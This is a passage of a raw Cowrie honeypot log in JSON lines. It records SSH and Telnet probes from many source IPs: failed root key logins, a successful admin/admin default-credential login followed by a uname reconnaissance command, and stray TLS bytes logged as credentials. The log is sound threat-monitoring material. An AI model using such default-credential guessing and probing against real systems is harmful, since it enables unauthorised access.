{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:6e:75:41:d2:60:32:7d:1a:c0:34:f2:01:f3:85:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC49ScyugrWFu/gVB+r95vpaGRAiYUapb0Zr1K0oYUkzrKsSRPAbKtnZILrvDw7SA5Ze3USci4ZVLB4krNP98V22/D6ouHeBtvXmfanD1YykylfXy8/EKe2LMSbcwvSPUYU8fpbqZjTetV37DGOBJkKK9pFH3Gw5qN38TNw3hgU7VzWK8QgEedfN1eHj9A6DwvkG+5dS/Dd9auSN/i2LRpYgg8JuHM1wrmTSAqhUjCF9gQj4Rk/fcx+mOkKnCQK6L4mKfprs2de3iMNnCpRByNyjMD2BwrqPCj8/ezSP+kccXFONxo5oLp183FvdNey/cepBRRLz3N8dRXgugtv7kcd8Ab6z8+4luDNaUvEuSW4+hheIl6GEseYGkVflJI6Kz3dKa+jWHU5TTCgLYcryW7tY0t7iTX547gVDLmnnM5iN7rtUaSNFoWBwt4H/+RN2CBn6YKCCJFDbO07E+2WTrfG1kjJErKLk/PD/zEQgk99aygDr2XIOMzMvePgWopJEs9lRB0unlF5jxXR5ihvMfOoJQPx0WDlQrfJFflyAG9Nww5NPV9FNrIJQqVCpeXvfp2UHSBlq3lc3zqgkPW9C7MekB8r2pusS9iP4TYtk9BrolTfjX2t9oG28ZXWzpPJ1Ha1hE2yMKPrNnR/tlNehHkfy28+HJNExqtYnjSsH0tcMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.562567Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:47.585394Z","src_ip":"144.217.74.127","session":"9f22345a164c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:47:48.181000Z","src_ip":"47.86.95.62","session":"b14d3c7fa9d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:05.558156Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.222.246","src_port":50150,"dst_ip":"10.17.0.5","dst_port":22,"session":"28337c0edf03","protocol":"ssh","message":"New connection: 51.77.222.246:50150 (10.17.0.5:22) [session: 28337c0edf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.359978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.366139Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.445985Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:d8:7e:28:65:a7:d1:8e:d3:d4:80:88:2e:65:16:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJPAafahxJ2xPjZqnPSrNtvOqisPJ24PAib20vvkUhRw4rmnVSlbFX8zCpRlrdnZZ48VdEKycqMcBeS6FSQlaI8rP2bZvc696rpJnhfPpMFjR9Ef3Q5lOEJviIxS6UgvciIvwSFmvmDyC4fo6AhQQ9+dMhu3e2Q1AhvQWWnqw1oQ6vg/PfZBUs64p3KHyA4vrUmqVnQkmnlfpTA+fylhWnhKjzk/2tWYUO98mn4I6p4hNBdDToCX/IE7UHwaxYhx8wqt7Eu5W1B8c6k0nykLShBSSHNNu1gbNLE/3HYL94v4kyL/qMNjHVsuUBgDAO2XSkk+6cMOkMjdtFN6BXO4h1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:d8:7e:28:65:a7:d1:8e:d3:d4:80:88:2e:65:16:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.819638Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:d8:7e:28:65:a7:d1:8e:d3:d4:80:88:2e:65:16:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJPAafahxJ2xPjZqnPSrNtvOqisPJ24PAib20vvkUhRw4rmnVSlbFX8zCpRlrdnZZ48VdEKycqMcBeS6FSQlaI8rP2bZvc696rpJnhfPpMFjR9Ef3Q5lOEJviIxS6UgvciIvwSFmvmDyC4fo6AhQQ9+dMhu3e2Q1AhvQWWnqw1oQ6vg/PfZBUs64p3KHyA4vrUmqVnQkmnlfpTA+fylhWnhKjzk/2tWYUO98mn4I6p4hNBdDToCX/IE7UHwaxYhx8wqt7Eu5W1B8c6k0nykLShBSSHNNu1gbNLE/3HYL94v4kyL/qMNjHVsuUBgDAO2XSkk+6cMOkMjdtFN6BXO4h1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.823587Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:d2:60:29:bc:66:a6:48:0d:a9:30:39:f4:42:ee:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoffsk+Tvvs4bmXebTnwMMTLe+YBOxNR4IkgpFBvWAmw3DIV7J9y/tx4MJtursMUrVR/xQ7d3rPJRelEJrVD2gtr9XweYbEM4/gIyhP87LPQo/T8fNjdCvZkZGcj8TZ4lUR26TObBZGXe2g6pj4khPJicQmF2knZOHgJhaFkEmmqoIodqaZH+Jn078ASrT0IhYqzgfS/pGZY9PB2Wy5daaSwFi/7QQWAfw+HrHZcYFBPWhk+k1hEx5+FVPbDnA6RvSQ+rQdXISG5bb+Lk09fxFqgl7U0JRKkKuFSqs4YPCIEeqLnbGB+9vdZH7TDRslM/p6qVnw3bznnmUDnV7zhbT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:d2:60:29:bc:66:a6:48:0d:a9:30:39:f4:42:ee:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.903567Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:d2:60:29:bc:66:a6:48:0d:a9:30:39:f4:42:ee:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoffsk+Tvvs4bmXebTnwMMTLe+YBOxNR4IkgpFBvWAmw3DIV7J9y/tx4MJtursMUrVR/xQ7d3rPJRelEJrVD2gtr9XweYbEM4/gIyhP87LPQo/T8fNjdCvZkZGcj8TZ4lUR26TObBZGXe2g6pj4khPJicQmF2knZOHgJhaFkEmmqoIodqaZH+Jn078ASrT0IhYqzgfS/pGZY9PB2Wy5daaSwFi/7QQWAfw+HrHZcYFBPWhk+k1hEx5+FVPbDnA6RvSQ+rQdXISG5bb+Lk09fxFqgl7U0JRKkKuFSqs4YPCIEeqLnbGB+9vdZH7TDRslM/p6qVnw3bznnmUDnV7zhbT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.907927Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:c2:54:a0:17:8d:9d:48:a2:2d:72:e1:af:d3:7d:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGBcGAeCDqbHyoi/NY3u3lMGl2KC60a1UnRTn421+FGOyHxcLE1MmSWtYyt9Hd3yyncKWTxNeb3dh5I2SJQ7y3ZvPDclHRYfNKw7aMeQqRhvMyc+IknP/MXLrocwm+dlDulDyxTAMBFRkI4C/axt7Ra5D0KeD1wpA68dRe3LjS1+vtoGJz46wgAy4y0Qkqq3vw7yQuDz2GO9xzZ/q3CqW7KuXvasMnTTTAM1BSxHN10atneohHoNZi+7/aXoAkU3k5jWl/f6UHUfG5Pal1hgXlg551jS5w8k2qUHC9fBw2oR0sccq0FG84NUSxlr+2fHzYZWpfgjlmR6KBueCjq4pd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:c2:54:a0:17:8d:9d:48:a2:2d:72:e1:af:d3:7d:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.988185Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:c2:54:a0:17:8d:9d:48:a2:2d:72:e1:af:d3:7d:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGBcGAeCDqbHyoi/NY3u3lMGl2KC60a1UnRTn421+FGOyHxcLE1MmSWtYyt9Hd3yyncKWTxNeb3dh5I2SJQ7y3ZvPDclHRYfNKw7aMeQqRhvMyc+IknP/MXLrocwm+dlDulDyxTAMBFRkI4C/axt7Ra5D0KeD1wpA68dRe3LjS1+vtoGJz46wgAy4y0Qkqq3vw7yQuDz2GO9xzZ/q3CqW7KuXvasMnTTTAM1BSxHN10atneohHoNZi+7/aXoAkU3k5jWl/f6UHUfG5Pal1hgXlg551jS5w8k2qUHC9fBw2oR0sccq0FG84NUSxlr+2fHzYZWpfgjlmR6KBueCjq4pd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:13.993076Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:99:f2:9f:2c:17:14:4a:05:c2:1a:88:0e:9a:9e:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnsQr15nJk6slMgZQxjtPSJRfrRGWNCDgP8Ekd+BH2EYF66nhBs/1UONmdAZ41mfR7JeSsPyoqpSfRBsDaTGOwgPyjERSB2haUprTFinFnkGNJ/Eqfh1uESvFm3heNPrLyViR5uT/2XictHtRqBw1+gSk63LCJf2kIaDTvvizELyAjog028BEBT9RRDpoa1r/C/jB94L9TDqBEo27QtulOXDjMbUfcsy90GZEZ7LQAuk0bvoqAjDogMUzR7RweZu//H1ny1WEcofsLwc5TUJU8/QhG6BM1AMv+TciOQ5e1f9+GAdFBgQJYp1YIZh1o97bwl3kbelV5Wx+eFWsdW0fLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:99:f2:9f:2c:17:14:4a:05:c2:1a:88:0e:9a:9e:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:14.073431Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:99:f2:9f:2c:17:14:4a:05:c2:1a:88:0e:9a:9e:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnsQr15nJk6slMgZQxjtPSJRfrRGWNCDgP8Ekd+BH2EYF66nhBs/1UONmdAZ41mfR7JeSsPyoqpSfRBsDaTGOwgPyjERSB2haUprTFinFnkGNJ/Eqfh1uESvFm3heNPrLyViR5uT/2XictHtRqBw1+gSk63LCJf2kIaDTvvizELyAjog028BEBT9RRDpoa1r/C/jB94L9TDqBEo27QtulOXDjMbUfcsy90GZEZ7LQAuk0bvoqAjDogMUzR7RweZu//H1ny1WEcofsLwc5TUJU8/QhG6BM1AMv+TciOQ5e1f9+GAdFBgQJYp1YIZh1o97bwl3kbelV5Wx+eFWsdW0fLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:14.078606Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:ee:66:4a:5e:68:bb:62:c6:32:50:05:a8:15:6e:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwm18+Kh78sX+CntwWa+fdFSdjgbiA33igpfRrggfAEii9UQ2IYAUAxTsNjn1/A5Jna3l71I2FUu6Yh69c563ztaGDQacgYd2yDp6GKqR0pTqfDKnSAqD29AulnPokY5cjkwA2X8LFPeeFEQoIY8eCoVNeMWKufN98WyDEWY+j+3ZxonBrslVQe+6bYI/SYHJcZQFNN2d+fju/ueHZO4AjW6tfQzTwWoGcumwkllMPPAllslkM9B5tiI8z2u//Xkyut0FwujHTzMa4JJstWm8W6mpaFT9DCGNCExYqCo8Rgi1A6ML5yv4bjRemG02Fkbk20BN+N7zOFP3ZhclEygm/ywvOSMJ4srSm4fs2L5F2xoOu8lOEo3P1VO3QBE0+we1z9TiDjebCiD7W6QMOpGdVQ/1oc4NPU1tVj9L4G1p2tYlSnXq2auMAZi+d+Q9ulV2vCga5fwnOQeQ/l/EMfBwNN7x7wKxoDo8BMMHh54RC6eOuzErOHVhpli3yevACXvLXrAf8jdY19HWNJOaejAPOtNo2oSxlNCVR1pFVB4H3J4F1mwTwZeICrkZgAb/vdCeuxPQOmgQ5HwSQ4AgNDDYJhmaB95HQEGLlw/KzQ5KhUNhb73GprF/v/5Gku+Nn/2neVw/6nT+uU2HddQO/gA3cfr+8KV/+zCfVaK7h4CE55w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:ee:66:4a:5e:68:bb:62:c6:32:50:05:a8:15:6e:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:14.161771Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:ee:66:4a:5e:68:bb:62:c6:32:50:05:a8:15:6e:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwm18+Kh78sX+CntwWa+fdFSdjgbiA33igpfRrggfAEii9UQ2IYAUAxTsNjn1/A5Jna3l71I2FUu6Yh69c563ztaGDQacgYd2yDp6GKqR0pTqfDKnSAqD29AulnPokY5cjkwA2X8LFPeeFEQoIY8eCoVNeMWKufN98WyDEWY+j+3ZxonBrslVQe+6bYI/SYHJcZQFNN2d+fju/ueHZO4AjW6tfQzTwWoGcumwkllMPPAllslkM9B5tiI8z2u//Xkyut0FwujHTzMa4JJstWm8W6mpaFT9DCGNCExYqCo8Rgi1A6ML5yv4bjRemG02Fkbk20BN+N7zOFP3ZhclEygm/ywvOSMJ4srSm4fs2L5F2xoOu8lOEo3P1VO3QBE0+we1z9TiDjebCiD7W6QMOpGdVQ/1oc4NPU1tVj9L4G1p2tYlSnXq2auMAZi+d+Q9ulV2vCga5fwnOQeQ/l/EMfBwNN7x7wKxoDo8BMMHh54RC6eOuzErOHVhpli3yevACXvLXrAf8jdY19HWNJOaejAPOtNo2oSxlNCVR1pFVB4H3J4F1mwTwZeICrkZgAb/vdCeuxPQOmgQ5HwSQ4AgNDDYJhmaB95HQEGLlw/KzQ5KhUNhb73GprF/v/5Gku+Nn/2neVw/6nT+uU2HddQO/gA3cfr+8KV/+zCfVaK7h4CE55w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:14.165960Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:14.246278Z","src_ip":"51.77.222.246","session":"28337c0edf03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.138.190.72","src_port":51912,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc7faa10ad82","protocol":"ssh","message":"New connection: 3.138.190.72:51912 (10.17.0.5:22) [session: bc7faa10ad82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:23.394179Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.138.190.72","src_port":43460,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8923d8c44cd","protocol":"telnet","message":"New connection: 3.138.190.72:43460 (10.17.0.5:23) [session: f8923d8c44cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:24.097508Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:24.234188Z","src_ip":"3.138.190.72","session":"bc7faa10ad82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.2734668254852295,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:24.370840Z","src_ip":"3.138.190.72","session":"f8923d8c44cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":56282,"dst_ip":"159.203.135.109","dst_port":23,"session":"26c2bb71d2f4","protocol":"telnet","message":"New connection: 97.74.232.189:56282 (159.203.135.109:23) [session: 26c2bb71d2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:48:57.737284Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.198","src_port":60393,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c1f31969cd6","protocol":"telnet","message":"New connection: 195.184.76.198:60393 (159.203.135.109:23) [session: 3c1f31969cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:07.874912Z"}
{"eventid":"cowrie.session.closed","duration":0.19429492950439453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:08.069087Z","src_ip":"195.184.76.198","session":"3c1f31969cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.195","src_port":34431,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd29eeebc0fd","protocol":"telnet","message":"New connection: 195.184.76.195:34431 (159.203.135.109:23) [session: cd29eeebc0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:08.076665Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:08.371248Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:08.374596Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"6.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:15.044932Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"165.8","message":"Connection lost after 165.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:15.050664Z","src_ip":"47.86.95.62","session":"bb997b9993a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.112879753112793,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:18.189363Z","src_ip":"195.184.76.195","session":"cd29eeebc0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35134,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e080aa1586","protocol":"ssh","message":"New connection: 47.86.95.62:35134 (10.17.0.5:22) [session: 25e080aa1586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:25.021133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:25.026788Z","src_ip":"47.86.95.62","session":"25e080aa1586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70048499107361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:28.437632Z","src_ip":"97.74.232.189","session":"26c2bb71d2f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.63","src_port":47383,"dst_ip":"159.203.135.109","dst_port":23,"session":"61893ed51f15","protocol":"telnet","message":"New connection: 195.184.76.63:47383 (159.203.135.109:23) [session: 61893ed51f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:31.963098Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xbe\"9\\xd6b}\\r\\x1d\\xb3!}\\xde\\xee\\xcd-\\xd2\\x94\\x81\\xe2\\xc0\\xb0\\xb1\\x83\\xf0j\\xf8 \\xe3\\xa7\\x89\\xdc\\x83 \\xf3\\xd8\\xcf\\xed\\xb6\\xfb\\x0b^\\xf1'","password":"b'\\xae\\xcaM\\xa3\\x86\\xea\\xe9\\x01\\xe1\\xb9\\xdf;\\xf7.x\\x0e\\xab\\xde\\x92!+\\xbf\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xbe\"9\\xd6b}\\r\\x1d\\xb3!}\\xde\\xee\\xcd-\\xd2\\x94\\x81\\xe2\\xc0\\xb0\\xb1\\x83\\xf0j\\xf8 \\xe3\\xa7\\x89\\xdc\\x83 \\xf3\\xd8\\xcf\\xed\\xb6\\xfb\\x0b^\\xf1'/b'\\xae\\xcaM\\xa3\\x86\\xea\\xe9\\x01\\xe1\\xb9\\xdf;\\xf7.x\\x0e\\xab\\xde\\x92!+\\xbf\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:31.974046Z","src_ip":"195.184.76.63","session":"61893ed51f15","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","password":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f159.203.135.109\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","message":"login attempt 